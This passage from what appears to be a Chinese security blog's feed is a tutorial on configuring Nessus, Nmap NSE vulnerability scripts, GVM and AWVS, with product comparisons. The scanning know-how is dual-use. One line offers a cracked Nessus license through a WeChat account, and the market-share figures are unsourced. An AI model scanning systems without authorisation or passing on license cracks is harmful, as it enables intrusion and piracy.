&lt;p&gt;&lt;strong&gt;格式&lt;/strong&gt;：IP/IP段/域名（例：&lt;code&gt;10.11.1.73&lt;/code&gt;）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;端口控制：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;路径：设置 → 发现 → 端口扫描
修改 &amp;#34;Port Scan Range&amp;#34;：0-65535（全端口）或指定端口（如111）
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-认证扫描配置"&gt;&lt;strong&gt;3. 认证扫描配置&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;&lt;img alt="image-20250725124754167" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725124754167.png"&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;路径：凭据 → SSH
→ 认证方法：Password
→ 用户名：root
→ 密码：[目标密码]
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="4-单插件扫描"&gt;&lt;strong&gt;4. 单插件扫描&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;路径：插件 → 点击&amp;#34;全部禁用&amp;#34;
→ 展开分类（如RPC）→ 启用特定插件（如&amp;#34;NFS Exported Share Information Disclosure&amp;#34;）
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="5-结果分析"&gt;&lt;strong&gt;5. 结果分析&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;过滤高危漏洞&lt;/strong&gt;：点击&amp;quot;过滤器&amp;quot; → &lt;code&gt;可被利用 = true&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;关闭分组视图&lt;/strong&gt;：右上角齿轮 → 禁用分组&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;导出报告&lt;/strong&gt;：支持PDF/CSV/HTML格式&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="image-20250725124809830" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725124809830.png"&gt;&lt;/p&gt;
&lt;h3 id="操作避坑指南"&gt;&lt;strong&gt;操作避坑指南&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;资源警告&lt;/strong&gt;：全端口扫描需8GB+内存，避免扫描期间运行其他重负载任务&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;账户锁定&lt;/strong&gt;：在配置中关闭 &lt;strong&gt;&amp;ldquo;Brute Force&amp;rdquo;&lt;/strong&gt; 选项（路径：扫描策略 → 高级）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Windows认证失败&lt;/strong&gt;：确认目标开启WMI服务且防火墙放行135/445端口&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;插件更新&lt;/strong&gt;：定期执行 &lt;code&gt;sudo /opt/nessus/sbin/nessuscli update&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;破解：默认只能扫16个IP，破解请关注公众号回复本文开头的关键字获取。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2 id="-nmap漏洞扫描深度解析"&gt;🔍 &lt;strong&gt;Nmap漏洞扫描深度解析&lt;/strong&gt;
&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;核心机制&lt;/strong&gt;：
Nmap通过​&lt;strong&gt;​NSE脚本引擎​&lt;/strong&gt;​（Nmap Scripting Engine）实现漏洞扫描，700+个Lua脚本分为两类：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;vuln&lt;/code&gt;类&lt;/strong&gt;：漏洞检测（如&lt;code&gt;http-vuln-cve2017-5638&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;exploit&lt;/code&gt;类&lt;/strong&gt;：精简漏洞利用（如&lt;code&gt;smb-vuln-cve-2017-7494&lt;/code&gt;）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;⚠️ &lt;strong&gt;安全风险分级&lt;/strong&gt;（执行前必看）：&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;级别&lt;/th&gt;
 &lt;th&gt;特征&lt;/th&gt;
 &lt;th&gt;典型脚本&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;safe&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;仅信息收集&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;http-title.nse&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;intrusive&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;可能崩溃服务&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;http-slowloris.nse&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="-关键操作命令"&gt;🖥️ 关键操作命令：
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 查看所有漏洞扫描脚本
ls /usr/share/nmap/scripts | grep vuln

# 检查脚本功能（强烈建议使用AI解析）
nmap --script-help &amp;lt;脚本名&amp;gt; # 例如：nmap --script-help http-vuln*

# 安全扫描（仅用safe类）
nmap -sV --script &amp;#34;safe and vuln&amp;#34; &amp;lt;目标IP&amp;gt;

# 漏洞探测（vuln类脚本）
nmap -sV --script=vuln &amp;lt;目标IP&amp;gt;

# 精确调用指定脚本
nmap -sV --script=http-vuln-cve2021-41773 &amp;lt;目标IP&amp;gt;

# 扫描结果保存
nmap -sV -oX report.xml --script=vuln &amp;lt;目标IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250725115630496" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725115630496.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250725115845571" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725115845571.png"&gt;&lt;/p&gt;
&lt;h3 id="-脚本管理技巧"&gt;⚙️ 脚本管理技巧：
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 查看脚本分类（script.db数据库）
grep &amp;#39;categories&amp;#39; /usr/share/nmap/scripts/script.db

# 过滤高风险脚本（排除intrusive）
nmap --script &amp;#34;vuln and not intrusive&amp;#34; &amp;lt;目标IP&amp;gt;

# 更新NSE脚本库
sudo nmap --script-updatedb
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250725120027382" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725120027382.png"&gt;&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;📌 &lt;strong&gt;最佳实践&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;未知脚本必查：&lt;code&gt;nmap --script-help &amp;lt;脚本名&amp;gt;&lt;/code&gt; 或丢给AI解读&lt;/li&gt;
&lt;li&gt;生产环境先用 &lt;code&gt;--script-trace&lt;/code&gt; 预览探测行为&lt;/li&gt;
&lt;li&gt;高危操作前在测试环境验证&lt;/li&gt;
&lt;/ol&gt;

 &lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="-gvmgreenbone漏洞管理器部署指南"&gt;🛡️ &lt;strong&gt;GVM（Greenbone漏洞管理器）部署指南&lt;/strong&gt;
&lt;/h2&gt;&lt;p&gt;原为&lt;strong&gt;OpenVAS&lt;/strong&gt;，是Nessus的开源分支，提供企业级漏洞管理能力。&lt;/p&gt;
&lt;h3 id="-快速部署命令kali-linux"&gt;⚡ 快速部署命令（Kali Linux）：
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 安装组件
sudo apt update &amp;amp;&amp;amp; sudo apt install -y gvm*

# 初始配置（约15分钟，需联网）
sudo gvm-setup # 自动生成管理员账户

# 更新漏洞数据库（首次需20GB磁盘空间）
sudo gvm-feed-update

# 启动服务
sudo gvm-start # Web控制台：https://127.0.0.1:9392

# 验证安装
sudo gvm-check-setup # 显示各组件状态
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250725132405020" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725132405020.png"&gt;&lt;/p&gt;
&lt;h3 id="-常用操作"&gt;🖥️ 常用操作：
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 启动/停止服务
sudo gvm-start | sudo gvm-stop

# 重置管理员密码
sudo runuser -u _gvm -- gvmd --user=admin --new-password=&amp;lt;新密码&amp;gt;

# 手动更新数据库（每日执行）
sudo crontab -e # 添加：0 0 * * * sudo gvm-feed-update
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="-基础使用流程"&gt;🌐 基础使用流程：
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;访问 &lt;code&gt;https://localhost:9392&lt;/code&gt; → 用 &lt;code&gt;admin&lt;/code&gt; 和安装时生成的密码登录&lt;/li&gt;
&lt;li&gt;创建扫描任务：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;目标配置&lt;/strong&gt;：指定IP/域名范围&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;扫描策略&lt;/strong&gt;：选择 &lt;code&gt;Full and fast&lt;/code&gt;（平衡模式）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;认证设置&lt;/strong&gt;：添加SSH/Windows凭证提升扫描深度&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;导出报告：支持PDF/CSV/XML格式&lt;/li&gt;
&lt;/ol&gt;

 &lt;blockquote&gt;
 &lt;p&gt;💡 &lt;strong&gt;高级技巧&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;联动Nmap：将 &lt;code&gt;nmap -oX&lt;/code&gt; 生成的XML报告导入GVM分析&lt;/li&gt;
&lt;li&gt;定制策略：禁用暴力破解选项防账户锁定&lt;/li&gt;
&lt;li&gt;计划任务：设置每周全盘扫描 + 每日增量扫描&lt;/li&gt;
&lt;/ul&gt;

 &lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="-awvs-安装使用"&gt;🔍 &lt;strong&gt;AWVS 安装使用&lt;/strong&gt;
&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;Acunetix Web Vulnerability Scanner (AWVS)&lt;/strong&gt; 是全球顶尖的 &lt;strong&gt;Web 应用漏洞扫描器&lt;/strong&gt;，专注于自动化检测网站与 API 的安全漏洞。&lt;/p&gt;
&lt;h3 id="-核心特性"&gt;🔑 核心特性：
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;&lt;strong&gt;类别&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;&lt;strong&gt;能力&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;扫描范围&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;SQL 注入、XSS、SSRF、JWT 漏洞、敏感信息泄露等 &lt;strong&gt;13000+&lt;/strong&gt; 漏洞&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;技术深度&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;支持现代 Web 技术（SPA、WebSocket、GraphQL 等）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;部署模式&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;支持本地安装（Windows/Linux）和云平台（Acunetix Online）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;合规性&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;满足 PCI DSS、HIPAA、ISO 27001 等安全标准&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;

 &lt;blockquote&gt;
 &lt;p&gt;📌 &lt;strong&gt;定位&lt;/strong&gt;：与传统网络扫描器（Nessus）互补，&lt;strong&gt;专精 Web 层漏洞挖掘&lt;/strong&gt;。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="-安装指南kali-linux"&gt;📥 &lt;strong&gt;安装指南（Kali Linux）&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="-前提条件"&gt;⚠️ 前提条件：
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;硬件&lt;/strong&gt;：≥4 核 CPU / 8GB RAM / 20GB 磁盘空间&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;系统&lt;/strong&gt;：Kali Linux 2023+（或 Ubuntu/Debian）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;授权&lt;/strong&gt;：需&lt;a class="link" href="https://www.acunetix.com/" target="_blank" rel="noopener"
 &gt;官网&lt;/a&gt;获取 &lt;strong&gt;14 天试用密钥&lt;/strong&gt;（或购买商业许可）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="-安装步骤"&gt;🛠️ 安装步骤：
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 1. 下载安装包（需注册官网获取下载链接）
wget https://dl.acunetix.com/acu/24.3/acuinstall.sh

# 2. 赋予执行权限
chmod +x acuinstall.sh

# 3. 安装依赖
sudo apt install -y libxcb-xinerama0 libxkbcommon-x11-0

# 4. 启动安装（默认端口：13443）
sudo ./acuinstall.sh --install-license YOUR_LICENSE_KEY

# 5. 访问控制台
https://localhost:13443
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;
 &lt;p&gt;💡 &lt;strong&gt;重要提示&lt;/strong&gt;：首次登录需设置管理员邮箱与密码（保存至 &lt;code&gt;/var/lib/acunetix/.config&lt;/code&gt;）&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="-基础使用教程"&gt;🚀 &lt;strong&gt;基础使用教程&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-创建扫描任务"&gt;&lt;strong&gt;1. 创建扫描任务&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;目标配置&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;输入 URL（如 &lt;code&gt;https://example.com&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;启用 &lt;strong&gt;深度爬虫&lt;/strong&gt;（识别 SPA 动态内容）&lt;/li&gt;
&lt;li&gt;设置 &lt;strong&gt;认证登录&lt;/strong&gt;（支持 Cookie/表单/OAuth）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;扫描策略&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;&lt;strong&gt;模式&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;&lt;strong&gt;特点&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;快速扫描&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;耗时短，仅查高危漏洞&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;全扫描&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;覆盖所有漏洞检测模块（推荐）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;自定义扫描&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;手动选择检测项（如仅查 API）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="2-扫描结果分析"&gt;&lt;strong&gt;2. 扫描结果分析&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;漏洞分级&lt;/strong&gt;：
🔴 ​&lt;strong&gt;​高危​&lt;/strong&gt;​（SQLi、RCE）→ 🟠 ​&lt;strong&gt;​中危​&lt;/strong&gt;​（XSS）→ 🟢 ​&lt;strong&gt;​低危​&lt;/strong&gt;​（信息泄露）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;利用验证&lt;/strong&gt;：
支持 ​&lt;strong&gt;​POC 重放​&lt;/strong&gt;​（验证漏洞真实性）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;报告导出&lt;/strong&gt;：
支持 PDF/HTML/XML（含修复建议）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-高级功能"&gt;&lt;strong&gt;3. 高级功能&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;API 扫描&lt;/strong&gt;：导入 Swagger/Postman 文件&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;敏感数据监控&lt;/strong&gt;：实时检测 Git 泄露、密钥硬编码&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CI/CD 集成&lt;/strong&gt;：Jenkins/GitLab 插件自动化扫描&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="-避坑指南"&gt;⚠️ &lt;strong&gt;避坑指南&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;&lt;strong&gt;问题&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;&lt;strong&gt;解决方案&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;扫描崩溃&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;限制并发请求（&lt;code&gt;Settings → Scan Settings → Max Requests&lt;/code&gt;）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;误报率高&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;启用 &lt;code&gt;Proof-Based Scanning&lt;/code&gt; 二次验证&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;登录失效&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;使用 &lt;code&gt;AcuSensor&lt;/code&gt; 代理抓取认证流量&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;社区版限制&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;避开「&lt;strong&gt;Acunetix 360 Free&lt;/strong&gt;」，仅支持 3 页面扫描&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2 id="相似功能新产品推荐"&gt;相似功能新产品推荐
&lt;/h2&gt;&lt;p&gt;Nessus和AWVS作为入门熟悉的工具可用，但是再实际测试过程中误报和漏扫率高。安全技术更新换代快，以下是我个人对这些产品的经验看法，和推荐目前比较好用的几个工具。&lt;/p&gt;
&lt;h3 id="-商业-vs-开源核心差异分析"&gt;⚖️ &lt;strong&gt;商业 vs 开源核心差异分析&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;首先，这些产品分为商业版和开源版，两者的区别有：&lt;/p&gt;
&lt;h4 id="-商业工具依赖维度"&gt;🏭 &lt;strong&gt;商业工具依赖维度&lt;/strong&gt;
&lt;/h4&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;graph TB
A[商业产品] --&gt; B(专属漏洞实验室)
A --&gt; C(0day快速响应)
A --&gt; D(自动化合规报告)
A --&gt; E(私有漏洞情报)
F[公司经营风险] --&gt; G[产品更新放缓]
F --&gt; H[漏洞库滞后]
F --&gt; I[误报率上升]&lt;/pre&gt;&lt;h4 id="-开源工具生存逻辑"&gt;🌐 &lt;strong&gt;开源工具生存逻辑&lt;/strong&gt;
&lt;/h4&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;graph TB
J[开源项目] --&gt; K(社区贡献者)
J --&gt; L(GitHub Star驱动)
J --&gt; M(企业赞助)
N[技术门槛] --&gt; O[需自行维护规则库]
N --&gt; P[适配定制化环境]
N --&gt; Q[漏洞验证脚本开发]&lt;/pre&gt;&lt;h3 id="-关键能力对比"&gt;📊 &lt;strong&gt;关键能力对比&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;&lt;strong&gt;能力维度&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;商业工具&lt;/th&gt;
 &lt;th&gt;开源工具&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;漏洞响应速度&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;0day通常&amp;lt;24小时&lt;/td&gt;
 &lt;td&gt;依赖社区更新（平均3-7天）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;合规支持&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;自动生成符合审计的报告&lt;/td&gt;
 &lt;td&gt;需手动整理&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;使用成本&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;年费5000−50000+&lt;/td&gt;
 &lt;td&gt;免费但需时间成本&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;定制灵活性&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;闭源不可修改&lt;/td&gt;
 &lt;td&gt;可二次开发&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="-中国网络安全市场主流产品图谱"&gt;🛡️ &lt;strong&gt;中国网络安全市场主流产品图谱&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;产品名称&lt;/th&gt;
 &lt;th&gt;厂商&lt;/th&gt;
 &lt;th&gt;主打能力&lt;/th&gt;
 &lt;th&gt;行业占有率&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;奇安信网神漏洞扫描系统&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;奇安信&lt;/td&gt;
 &lt;td&gt;等保2.0合规驱动 · 信创生态适配（麒麟/统信） · 0day响应&amp;lt;12小时&lt;/td&gt;
 &lt;td&gt;政府/央企（≥35%）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;安恒明鉴漏洞扫描器&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;安恒信息&lt;/td&gt;
 &lt;td&gt;Web3.0深度检测 · API安全治理 · 结合「北斗」AI引擎&lt;/td&gt;
 &lt;td&gt;金融/医疗（28%）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;绿盟极光漏洞扫描系统&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;绿盟科技&lt;/td&gt;
 &lt;td&gt;攻防演练模式 · ICS/OT工控支持 · 漏洞利用链可视化&lt;/td&gt;
 &lt;td&gt;能源/制造业（20%）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;长亭洞鉴&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;长亭&lt;/td&gt;
 &lt;td&gt;动态流量分析 · RASP结合 · 云原生漏洞挖掘&lt;/td&gt;
 &lt;td&gt;互联网/云平台（18%）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;启明星辰天镜&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;启明星辰&lt;/td&gt;
 &lt;td&gt;资产管理优先 · 漏洞生命周期管理 · 等保测评报告自动生成&lt;/td&gt;
 &lt;td&gt;教育/运营商（15%）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="-国产-vs-国际产品关键差异"&gt;🆚 &lt;strong&gt;国产 VS 国际产品关键差异&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;维度&lt;/th&gt;
 &lt;th&gt;国内产品优势&lt;/th&gt;
 &lt;th&gt;国际产品劣势&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;合规支持&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;内置等保2.0/关基条例模板&lt;/td&gt;
 &lt;td&gt;需定制开发&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;漏洞响应&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;CNNVD/CNVD同步&amp;lt;6小时&lt;/td&gt;
 &lt;td&gt;CVE中心依赖（时差延迟）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;信创适配&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;深度支持国产OS/数据库&lt;/td&gt;
 &lt;td&gt;仅兼容Windows/Linux主流版&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;定价策略&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;按IP/年收费（含驻场服务）&lt;/td&gt;
 &lt;td&gt;订阅制（美元结算+高溢价）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="-免费替代方案推荐"&gt;🚀 &lt;strong&gt;免费替代方案推荐&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;XRay 社区版（长亭开源）&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# 被动代理扫描
./xray webscan --listen 127.0.0.1:7777
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Goby 社区版&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;资产测绘免费 · 漏洞扫描限量&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a class="link" href="https://www.yaklang.com/products/intro/" target="_blank" rel="noopener"
 &gt;Yakit&lt;/a&gt;+Nuclei&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Yakit是集成化单兵安全能力平台，用Yaklang语言编写&lt;/li&gt;
&lt;li&gt;Nuclei有丰富的开源模板，也可以自行编写漏洞模板，或让AI编写&lt;/li&gt;
&lt;li&gt;Yakit支持直接导入Nuclei模板扫描&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>【POC未成功控制】Windows 远程桌面授权服务远程代码执行漏洞 CVE-2024-38077 漏洞 狂躁许可（MadLicense）</title><link>https://ruajingjing.top/post/windows-%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E6%8E%88%E6%9D%83%E6%9C%8D%E5%8A%A1%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E-cve-2024-38077/</link><pubDate>Thu, 15 Aug 2024 16:43:45 